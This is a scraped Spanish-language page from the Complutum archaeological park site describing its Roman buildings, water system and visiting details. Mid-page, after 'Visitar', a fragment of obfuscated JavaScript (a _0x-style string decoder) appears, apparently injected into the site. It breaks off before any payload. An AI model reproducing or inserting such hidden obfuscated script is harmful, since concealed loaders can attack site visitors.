      Auguráculum era el nombre con el que se conocía en Roma a los lugares donde se practicaba la adivinación y diversos rituales. En Complutum encontramos un edificio con esta función.

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      Infraestructuras

      Pozo del peristilo de la Casa de los Grifos.

      Complutum, como todas las ciudades de nueva construcción del Imperio, contaba con un moderno sistema de alcantarillado y de abastecimiento de aguas que daba servicio a toda la ciudad.

      Visitar function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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      • Auguraculum

        Un lugar para la adivinación

        Vista lateral del 'Auguraculum'.

        Auguraculum era el nombre con el que se conocía en Roma a los lugares donde se practicaba la adivinación y diversos rituales.

        En Complutum existió un edificio que cumplió con esta función y que se encontraba muy cerca del Foro.

        Actualmente podemos ver en el parque arqueológico una reconstrucción de la fachada del Auguraculum.

        Los augures practicaban allí oficialmente la adivinación y, para ello, empleaban tanto la técnica augural (observación de señales y prodigios) como la auruspicina (examen de vísceras procedentes de sacrificios de animales).

        El edificio fue construido en el siglo I d.C. y constaba de nueve estancias.

        Como la mayoría de los edificios de Complutum, sufrió pequeñas reformas entre los siglos III y V d.C. El ala que se conoce tiene una fachada porticada con tres vanos que dan a una de las calles principales.

        El dato

        En el ‘Auguraculum‘ de Complutum se han documentado dos estancias con claras funciones rituales en las que se han encontrado depósitos de aves y enterramientos de niños recién nacidos en vasijas.

        Ante la entrada principal, apareció una tegula o teja con una gran perforación central  con forma circular y que cumplía la función de crear efectos de iluminación. La luz, a una hora concreta del día, atravesaría el orificio de la teja iluminando una zona concreta de la fachada.

        Los trabajos arqueológicos han permitido avalar esta interpretación tras sacar a la luz parte de la decoración de esa fachada, presidida por la pintura de la diosa Tyché, cuyos atributos eran tutelar el destino y la fortuna de la comunidad.

        Reconstrucción parcial del Auguraculum de Complutum.
        Vista frontal del ‘Auguraculum’
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      • Edificios públicos

        El centro de la ciudad de Complutum

        Todas las ciudades del Imperio Romano contaban con una serie de edificios al servicio de la población que estaban destinados a labores administrativas, políticas, religiosas y de ocio. Estos edificios solían estar en la zona central de la ciudad y sus características constructivas representaban el esplendor de Roma.

        En Complutum existe una gran muestra de ellos, conservándose parte de los restos del Foro, la Basílica civil, las Termas y el Mercado.

        Las investigaciones arqueológicas han permitido conocer la estructura de estos edificios y los materiales con los que fueron construidos, desvelando el carácter monumental de muchos de ellos.

        Termas y Basílica

        Termas Norte en Complutum

        El Foro estaba en la zona central de Complutum, en la confluencia de las calles principales. En ella  se encontraban los edificios con función administrativa, judicial, comercial y religiosa.

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        Termas Sur

        Restos arqueológicos Termas Sur de Complutum

        Tras la transformación de las Termas Norte en Curia a finales del siglo III d.C. se construyó una nueva zona termal ubicada en el centro de la ciudad, las Termas Sur.

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        Mercado de abastos

        Recreación virtual del mercado de Complutum.

        Complutum, contaba con un Mercado de Abastos. Llegaban diariamente aves de corral, caza, pescado, frutas y legumbres, asi como productos de lujo que provenían de fuera de la Península.

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        Cuadripórtico

        Plano sobre fotografía aérea cuadripórtico de Complutum

        En Complutum existen restos de lo que fue un cuadripórtico, un patio cerrado por pórticos en sus cuatro lados que cumplía la función de plaza o lugar de reunión de la población.

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        • Cuadripórtico

          Cudripórtico

          Las labores arqueológicas realizadas en el yacimiento han permitido identificar un Cuadripórtico en la zona central de la ciudad de Complutum.

          Estaba situado  junto a las Termas Norte , con las que debió formar parte de un mismo edificio.

          El Cuadripórtico, arquitectónicamente hablando,  era un edificio construido alrededor de un espacio abierto o plaza compuesto por cuatro corredores porticados.

          Solía formar parte de otro edificio, como un teatro, y habitualmente tenía la función de zona de descanso o reunión de la población.

          En Complutum se desconoce la función que cumplió, aunque se piensa que anteriormente esa misma zona pudo albergar un templo.

          • ADMINISTRATIVA

          • JUDICIAL

          • COMERCIAL

          • RELIGIOSA

          Animación sobre la estructura hipotética del Foro de la Ciudad de Complutum
          Hipótesis de la ubicación del Foro en la Ciudad de Complutum
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          VISITA GUIADA AL YACIMIENTO GRATUITA

          • Todos los Sábados a las 10:00h.
          • Punto de encuentro en la caseta del Guía.(Hasta completar aforo de 30 personas por orden de llegada).
          • Duración aproximada 1 hora.
             

          Si estás interesado en tener más información, consulta nuestro ARCHIVO, donde tendrás toda la documentación actualmente publicada.

        • Mercado de Complutum

          El Mercado

          Complutum, como la mayoría de las ciudades del Imperio, contaba con un Mercado (macellum) que abastecía de productos a la población.

          Hasta allí llegaban diariamente productos alimenticios, principalmente aves de corral, caza, pescado, frutas y legumbres y también productos de cierto lujo llegados de fuera de la península.

          El Macellum de Complutum estaba localizado cerca del Foro, aunque levemente separado de los edificios principales.

          Los restos arqueológicos analizados pertenecen a dos momentos distintos: uno al siglo I d.C. y otro al siglo III d.C.

          La primera construcción tenía una planta rectangular y patio central al que se accedía directamente desde la calle y que estaba rodeado por establecimientos en tres de sus lados. 

          Recreación virtual del Mercado de la Ciudad de Complutum.
          Reconstrucción en 3D de la estructura del mercado

          El Mercado, además de contar con diferentes puestos de venta, solía dedicar algunas de sus estancias a depósitos, almacenes y algún lugar donde se guardasen las básculas públicas, los pesos oficiales establecidos por el Imperio.

          Pertenecía a la familia que vivía en la Casa de los Grifos en aquel momento, ya que tenía un acceso directo que posteriormente será tapiado.

          A finales del siglo III d. C. y con la reforma del Foro, el edificio del mercado se derriba y se transforma finalmente en una plaza abierta.

          Los Macellum solían contar en algunas ocasiones con una decoración muy lujosa, que incluía elementos arquitectónicos como columnas con capiteles, frisos y cornisas, y  con estatuas que representaban a los emperadores y a los dioses.

          Plano de los restos arqueológicos del mercado de Complutum
          Plano del mercado con sus diferentes estancias
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        • Termas Sur

          Termas Sur

          Tras la transformación de las Termas Norte en Curia, a finales del siglo III d.C. se construyó una nueva zona termal, las Termas Sur.

          Éstas, más pequeñas que las anteriores, estaban situadas también en la zona central de la ciudad, adosadas a la trasera de la Basílica.

          Su estructura era de tipo lineal y contaba con cuatro ambientes distintos:

          • un pequeño vestuario (apodyterium)
          • la zona de aguas frías (frigidarium)
          • la zona de baño tibio  (tepidarium)
          • finalmente zona de baño caliente (caldarium).

          Tras este había una estancia más, a la que no tenían acceso los visitantes, el Praefurnium, lugar desde donde se hacía funcionar el sistema de calefacción del edificio.

          Recreación virtual de la fachada de las Termas Sur de la Ciudad de Complutum
          Hipótesis de la Fachada de las Termas Sur

          La portada del edificio, ligeramente adelantada respecto a la línea de fachada contaba con un pórtico que decoraba la zona más cercana al Foro y que estaría revocado en blanco (como aparece en la recreación). 

          Respecto a la construcción del edificio, los trabajos arqueológicos desvelaron que la zona de aguas frías fue construida y reformada en tres épocas distintas.

          La construcción de estas nuevas termas respondía a la necesidad de mantener unos baños públicos en el Foro.

          Sin duda, para el paisaje urbano de Complutum era importante tener infraestructuras de ocio de este tipo.

          Vista aérea de las Termas Sur.Foro.Parque arqueológico Ciudad de Complutum @media screen and (max-width: 1024px) { .eael-hamburger–tablet { .eael-simple-menu-horizontal, .eael-simple-menu-vertical { display: none; } } .eael-hamburger–tablet { .eael-simple-menu-container .eael-simple-menu-toggle { display: block; } } }
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          • Todos los Sábados a las 10:00h.
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      • Infraestructuras urbanas

        Red de saneamiento

        Red de Saneamiento

         

        Las ciudades romanas solían instalarse siempre cerca de una fuente principal de agua, un río.

        La ciudad de Complutum se instaló en un lugar privilegiado, en una fértil llanura situada entre el río Henares y uno de sus afluentes, el Camarmilla. Además la zona contaba con diversos recursos hídricos, como fuentes y aguas subterráneas. 

        Así, esta ciudad de nueva construcción, contaba con un moderno sistema de alcantarillado y de suministro de agua similar al de todas las ciudades del Imperio.

        Los trabajos arqueológicos han permitido diferenciar varios tipos de cloacas y colectores: unos que recogían las aguas de la ciudad y los edificios públicos y otros para los edificios privados o viviendas.

        Cañería de desagüe de la Casa de los Grifos.
        Colector de tejas en la Casa de los Grifos

        Del sistema de saneamiento general se han documentado grandes cloacas con estructura abovedada que eran las que asimilan el mayor caudal de agua, como por ejemplo el de las termas. Sin embargo, las viviendas privadas contaban con un sistema más sencillo de evacuación, unas tuberías de tejas de cerámica que aún son visibles en  La Casa de los Grifos y en las casas de Marte y el Atrio. 

        Todas las cloacas de la ciudad desembocaban finalmente en el río Henares, que actuaba como un gran colector. 

        Cloacas de la ciudad de Complutum.

        Abastecimiento de aguas

        Complutum fue una ciudad fuertemente relacionada con las aguas y con sus cultos, hecho constatado por la existencia de las fuentes del Juncal y la Salud que debieron ser auténticos ninfeos.

        El abastecimiento de agua para la ciudad de Complutum se realizaba a partir de una red de pozos y fuentes que se encontraban instalados en las casas, pórticos y plazas. Se conoce la existencia de pozos en la mayoría de los pórticos de cada manzana y en muchas de las viviendas, como la de los Grifos, Marte y Leda.

        El suministro de agua por medio de conducciones solo se ha detectado en dos puntos de la ciudad, en las instalaciones termales.

        Pozo del peristilo de la Casa de los Grifos.
        Pozo de la Casa de los Grifos
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    • Recreaciones 3D (I)

      Así era la vida en Complutum

      En 2006 se celebró en Alcalá de Henares la exposición ‘Civilización’ en la que no solo se rememoraba el pasado romano de la ciudad, sino que también ofrecía un  acercamiento al modo de vida en Complutum. En esta exposición se mostraron recreaciones en 3 dimensiones de la ciudad de Complutum, que sirvieron para ilustrar el paisaje urbano de hace 2000 años, fruto de años de trabajos arqueológicos desarrollados en la ciudad de Alcalá.

      Basílica civil de Complutum

      Las Termas del Sur

      La Casa de los Grifos

      El mosaico de la Casa de Hippolytus

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    • Recreaciones 3D (II)

      El jardín oriental de la Casa de Hippolytus

      Vista del Foro e hipótesis de reconstrucción hacia el 300 d.C.

      El Pórtico Sur del Foro

      La Fachada Monumental

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    • Vídeos Complutum

      Historia en movimiento

      ¿Cómo era la vida en la Alcalá de Henares de hace 2000 años? A través de los siguientes vídeos y recreaciones podrás imaginar cómo se vivía en Complutum. Los siguientes vídeos son fruto de años de trabajo realizado por los especialistas en este yacimiento, trabajo que nos permite acceder a la historia en movimiento.

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  • Yacimiento arqueológico

    COMPLVTVM, CIVDAD ROMANA

    A poco más de 20 km de Madrid, en las magníficas vegas del río Henares, se encuentra la Ciudad Romana de Complutum.

    Tuvo su inicio en el siglo I a.C., y fue en época del emperador Augusto cuando se construyó un proyecto urbano siguiendo el profundo conocimiento que griegos y romanos tenían del urbanismo: calles rectas sobre cuadrículas ordenadas, pórticos, foros, termas públicas, casas privadas de gusto refinado y ciudadanos cosmopolitas.

    Complutum fue el origen de la actual Alcalá de Henares, ciudad Patrimonio de la Humanidad desde 1998 y Bien de Interés Cultural de la Comunidad de Madrid desde 1992.

    Hoy en día, la visita del Parque Arqueológico es gratuita y permite recorrer muchos de estos espacios, y admirar sus construcciones, sus mosaicos y pinturas murales.

    Pueden consultar los horarios de visita en nuestra web o en la Oficina de Turismo de Alcalá

     

    Oficina de Turismo Alcalá de Henares:

    otssnn@ayto-alcaladehenares.es

    91 881 06 34

    HORARIOS

    VISITA GUIADA AL YACIMIENTO GRATUITA

     

    • Todos los Sábados a las 10:00h.
    • Punto de encuentro en la caseta del Guía.(Hasta completar aforo de 30 personas por orden de llegada).
    • Duración aproximada 1 hora.
    Youtube Instagram
    EL SIGUIENTE EMPLAZAMIENTO SE ENCUENTRA CERRADO AL PÚBLICO POR OBRAS DE RESTAURACIÓN
    actualmente realizando obras de restauración
    YACIMIENTO

    Monumentos destacados

    monumento-basilica

    Uno de los lugares más importantes de la ciudad, ya que allí se impartía justicia. Se construye en el siglo III aprovechando una basílica civil y las termas del siglo I.

    Leer más monumento-termas

    Tras la transformación de las Termas Norte en Curia (lugar de reunión del gobierno) en el siglo III, se construyó un nuevo espacio termal en la ciudad, las Termas Sur.

    Leer más monu_auguraculum2

    Dedicado a la adivinación de los augures y sacerdotes, algo que era fundamental para programar la vida de los ciudadanos e incluso la misma actividad pública.

    Leer más

    Es uno de los primeros lugares que verás durante tu visita al yacimiento. Alberga tres viviendas (domus) datadas entre los siglos I y V d.C.:  la Casa de Marte, la Casa del Atrio y la Casa de La Lucerna de la Máscara Trágica.

    Leer más monumento-las-fuentes

    Complutum contaba con dos fuentes conocidas desde la antigüedad por sus propiedades saludables: la Fuente de El Juncal y la Fuente de La Salud.

    Leer más antiquarium-complutum-centro-interpretacion

     Centro de Interpretación de la ciudad de Complutum, lugar donde podrás entender la forma de vida y cultura  romana a través de una gran colección de restos recuperados en el yacimiento. 

    Próximamente
    DÓNDE ENCONTRARNOS
    Dirección Parque Arqueológico Ciudad Romana Complutum

    •Antiquarium y Ciudad de Complutum:

    Calle Antonio Suárez, rotonda, (acceso peatonal hacia  Camino de Juncal).

    Casa de Hippolytus: Avenida de Madrid, s/n (junto  Ciudad Deportiva El Juncal). Alcalá de Henares.

    CONTACTO

    Teléfono

    Puedes contactar con nosotros en los siguientes números de télefono:

    •  SERVICIO MUNICIPAL DE ARQUEOLOGÍA:

              91 877 17 50

    • OFICINA DE TURISMO DE ALCALÁ

              91 881 06 34

    Correo electrónico

    Puedes escribirnos a través del correo electrónico:

    •  SERVICIO MUNICIPAL DE ARQUEOLOGÍA:
    redpatrimonio@ayto-alcaladehenares.es
    • OFICINA DE TURISMO DE ALCALÁ
    otssnn@ayto-alcaladehenares.es
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